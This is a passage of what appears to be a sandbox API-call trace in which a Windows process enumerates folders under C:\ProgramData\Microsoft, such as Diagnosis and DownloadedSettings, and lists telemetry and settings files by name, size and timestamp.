	[0063.605] FindClose (in: hFindFile=0xbaa508 | out: hFindFile=0xbaa508) returned 1
	[0063.695] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.695] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0063.695] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
	[0063.696] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
	[0063.696] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
	[0063.696] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
	[0063.696] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
	[0063.697] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
	[0063.697] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0063.697] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0063.698] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.698] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.698] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
	[0063.698] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.698] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.699] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
	[0063.699] FindClose (in: hFindFile=0xbaa248 | out: hFindFile=0xbaa248) returned 1
	[0063.700] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.700] FindNextFileW (in: hFindFile=0xbaa548, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
	[0063.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa988
	[0063.882] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.882] FindNextFileW (in: hFindFile=0xbaa988, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64c64e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.882] FindClose (in: hFindFile=0xbaa988 | out: hFindFile=0xbaa988) returned 1
	[0063.882] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.883] FindNextFileW (in: hFindFile=0xbaa548, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1
	[0063.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\*", lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.884] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.884] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AsimovUploader", cAlternateFileName="ASIMOV~1")) returned 1
	[0063.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa748
	[0063.884] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.884] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.884] FindClose (in: hFindFile=0xbaa748 | out: hFindFile=0xbaa748) returned 1
	[0063.884] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.885] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedScenarios", cAlternateFileName="DOWNLO~1")) returned 1
	[0063.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa288
	[0063.885] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.885] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1
	[0063.885] FindNextFileW (in: hFindFile=0xbaa288, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0
	[0063.885] FindClose (in: hFindFile=0xbaa288 | out: hFindFile=0xbaa288) returned 1
	[0063.885] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.885] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1
	[0063.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa4c8
	[0063.926] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.926] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1
	[0063.927] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0
	[0063.928] FindClose (in: hFindFile=0xbaa4c8 | out: hFindFile=0xbaa4c8) returned 1
	[0063.929] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.929] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETLLogs", cAlternateFileName="")) returned 1
	[0063.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa848
